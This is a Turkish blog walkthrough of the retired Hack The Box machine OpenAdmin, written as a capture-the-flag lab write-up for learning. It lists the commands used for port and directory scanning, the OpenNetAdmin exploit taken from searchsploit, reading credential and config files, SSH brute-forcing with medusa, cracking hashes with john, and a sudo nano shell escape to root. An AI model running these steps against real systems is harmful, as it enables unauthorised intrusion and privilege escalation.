Hack the Box — OpenAdmin

Bugün HTB Retired makinelerinden olan OpenAdmin’ in çözümünü paylaşacağım. Makine yukarıda da görüldüğü üzere kolay zorlukta bir makinedir.

Bilgi Toplama / User Flag

Öncelikle hedef sistem üzerinde bulunan açık portları tespit etmek için nmap taraması ile testime başlıyorum.

nmap -Pn -n -sC -sV 10.10.10.171 -oN openAdmin.nmap

  • -Pn → Tüm ana bilgisayarlara çevrimiçi davranın — ana makine keşfini atlayın.
  • -n → DNS çözümlemesi yapma.
  • -sC → default scriptleri çalıştır.
  • -sV → Portlar üzerinde çalışan servis ve versiyon hakkında bilgi verir.
  • -oN → nmap formatında çıktıyı “openAdmin.nmap” adında dosyaya kaydeder.

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-02 00:41 +03
Nmap scan report for 10.10.10.171
Host is up (0.17s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.67 seconds

Sistem üzerinde 80 portunun açık olduğunu ve üzerinde bir web uygulamasının çalıştığını görüyorum. Tarayıcı üzerinden görüntülediğimde Apache2 Default Page karşıma çıkıyor.

Dizin taraması gerçekleştiriyorum. Ön tanımlı sayfadan sonuca ulaşamam.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.171

  • dir → dizin tarayacağım için belirttim. 
  • -w → tarama yapacağım wordlist seçimi için kullandım.
  • -u → tarama yapacağım hedef sistem URL’ i için kullandım.

Taramalar sırasında “/ona/” dizinini tespit ettim. (Ekran görüntüsü almayı unuttum lakin siz de parametrelerle tarama yaptığınızda siz de göreceksiniz. )

İlgili dizine gittiğim zaman ona = OpenNetAdmin olduğunu gözlemliyorum.

OpenNetAdmin hakkında yayınlanmış exploitler var mı diye “searchsploit” üzerinden arama gerçekleştiriyorum.

Bulduğum exploiti çalıştığım dizine indiriyorum.

searchsploit -m php/webapps/47691.sh

İndirdiğim exploitin içeriğini iyice okuyorum. İçerisinde nasıl kullanmam gerektiği hakkında bilgiler mevcut.

Sistem üzerinde bulunan kullanıcıları tespit etmenin en kolay yolu. Sistem üzerinde “root, jimmy, joanna” kullanıcılarının bulunduğunu tespit ettim.

cat /etc/passwd

Hak yükseltmem gerekiyor. Yetkisiz kullanıcıdayım. Önce “user” sonrasında da “root” olmam gerekiyor. Sistem içerisinde arama gerçekleştiriyorum. Aşağıda belirttiğim dizin içerisinde database bağlantı bilgilerini buluyorum.

cat /opt/ona/www/local/config/database_settings.inc.php

mysql → ona_sys: n1nj4W4rri0R!

mysql -u ona_sys -p

Enter Password : n1nj4W4rri0R!

Öncelikle “show databases;” ile mevcut veritabanlarını görüntüledim. Sonrasında “use ona_default;” komutu ile çalışıcağım veritabanını seçtim. Bu işlemden sonra “show tables;” komutuyla veritabanı içerisinde bulunan tabloları görüntüledim. Tabloların içerisinde “users” tablosu bulunduğunu gördüm. Users tablosu içerisindeki bütün verileri görüntüledim.

select * from users;

Password yazan sütundaki verilerin MD5 formatında olduğunu anlıyorum. İnternette arattığımda;

guest:test

admin:admin

Arayüze giriş yaptık bişey elde edemedik. Eldeki kullanıcılar ve şifreleriyle kaba kuvvet deniyorum. “Burası aslında bence kötü kurgulanmış. DB bağlantısındaki şifre ile jimmy ssh şifresi aynı. Bence olmaması gerekiyordu. Tamamen tesadüfe bulunmuş bir şifre.”

medusa -h 10.10.10.171 -U users -P password -M ssh 10.10.10.171

  • -h host
  • -U user listesi
  • -P password listesi
  • -M module

Kullanıcı Elde Ettik;

User: jimmy Password: n1nj4W4rri0R!

Elde ettiğim kullanıcı ile user.txt dosyasını bulamadım.

Kendi sistemimden “LinEnum” dosyasını yükledim. Çalıştırdığımda localhost üzerinde “52846” portunun açık olduğunu gördüm. LinEnum scriptine aşağıdaki bağlantıdan ulaşabilirsiniz.

https://github.com/rebootuser/LinEnum

Ne çalıştığını bilmiyorum. Curl isteği atıp bakıyorum.

curl localhost:52846

Dönen yanıta baktığımda, kaynak kod içerisinde “index.php” bağlantısını görüyorum. Sonrasında oraya curl isteği atıyorum ama bir sonuç çıkmıyor.

curl localhost:52846/index.php

Dışarıdan erişimin olmadığını teyit ediyorum.

Uygulamaya ait dosyalara bakıyorum. “/var/www/internal” içerisinde. “main.php” dosyasını okuduğumda bana döndüreceği cevabın Joanna’ ya ait “id_rsa” bilgisi olduğunu anlıyorum.

cat main.php

curl localhost:52846/main.php isteği sonrasında joannaya ait ssh bilgilerine eriştim.

Kendi sistemime “joanna” adında dosya oluşturup kaydettim. ssh2john scriptini kullanarak john ile kırmak için uygun formata getiricem. Sonrasında da john ile hashi kırıcam.

python /usr/share/john/ssh2john.py joanna > joanna.hash

john --wordlist=/usr/share/wordlists/rockyou.txt joanna.hash

Kırmayı başardım. Şimdi SSH bağlantısı kurarak sisteme bağlantı kurucam. Öncelikle indirdiğim kaydettiğim “joanna” dosyasına exec yetkisi verdim. Sonra dosya ve kırdığım şifresiyle beraber “joanna” olarak giriş yaptım.

chmod 400 joanna

ssh -i "joanna" joanna@10.10.10.171

Şifre: bloodninjas

user flag → cat /home/joanna/user.txt

ROOT FLAG

User.txt dosyasını okuduktan sonra ilk iş “sudo -l” komutunu çalışıyorum. Burada aslında nasıl yetki yükselteceğim yazıyor.

sudo -l

Google da “(ALL) NOPASSWD: /bin/nano /opt/priv” şeklinde arama gerçekleştirdim.

Çıkan sonuçlarda aşağıda linkini paylaştığım site içerisinde yazanları uygulayıp root haklına çıkıyorum.

https://gtfobins.github.io/gtfobins/nano/

sudo /bin/nano /bin/priv

ctrl-r ctrl-x sonrası Command to execute çıkıyor. Oraya sitede gördüğümü yazdım.
reset; sh 1>&0 2>&0

Root Flag →  cat /root/root.txt

Okuduğunuz için teşekkür ederim.

Bir Cevap Yazın

Aşağıya bilgilerinizi girin veya oturum açmak için bir simgeye tıklayın:

WordPress.com Logosu

WordPress.com hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Google fotoğrafı

Google hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Twitter resmi

Twitter hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Facebook fotoğrafı

Facebook hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Connecting to %s

%d blogcu bunu beğendi: